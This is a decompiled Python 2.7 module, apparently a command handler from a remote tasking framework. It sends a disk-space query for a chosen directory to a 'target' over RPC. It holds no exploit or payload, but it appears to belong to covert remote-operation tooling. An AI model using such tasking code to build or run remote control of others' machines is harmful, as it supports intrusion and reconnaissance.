text: # uncompyle6 version 2.9.10
  # Python bytecode 2.7 (62211)
  # Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10) 
  # [GCC 6.2.0 20161005]
  # Embedded file name: Mcl_Cmd_DiskSpace_Tasking.py
  
  
  def TaskingMain(namespace):
      import mcl.imports
      import mcl.target
      import mcl.tasking
      import mcl.tasking.virtualdir
      from mcl.object.Message import MarshalMessage
      mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.diskspace', globals())
      mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.diskspace.tasking', globals())
      lpParams = mcl.tasking.GetParameters()
      if lpParams['directory'] != None:
          dir = lpParams['directory']
      else:
          dir = ''
      if len(dir) > 0:
          try:
              dir = mcl.tasking.virtualdir.GetFullPath(dir)
          except:
              mcl.tasking.EchoError('Failed to get full directory')
              return False
  
      tgtParams = mca.file.cmd.diskspace.Params()
      tgtParams.directory = dir
      rpc = mca.file.cmd.diskspace.tasking.RPC_INFO_QUERY
      msg = MarshalMessage()
      tgtParams.Marshal(msg)
      rpc.SetData(msg.Serialize())
      rpc.SetMessagingType('message')
      res = mcl.tasking.RpcPerformCall(rpc)
      if res != mcl.target.CALL_SUCCEEDED:
          mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.diskspace.errorStrings)
          return False
      else:
          return True
  
  
  if __name__ == '__main__':
      import sys
      if TaskingMain(sys.argv[1]) != True:
          sys.exit(-1)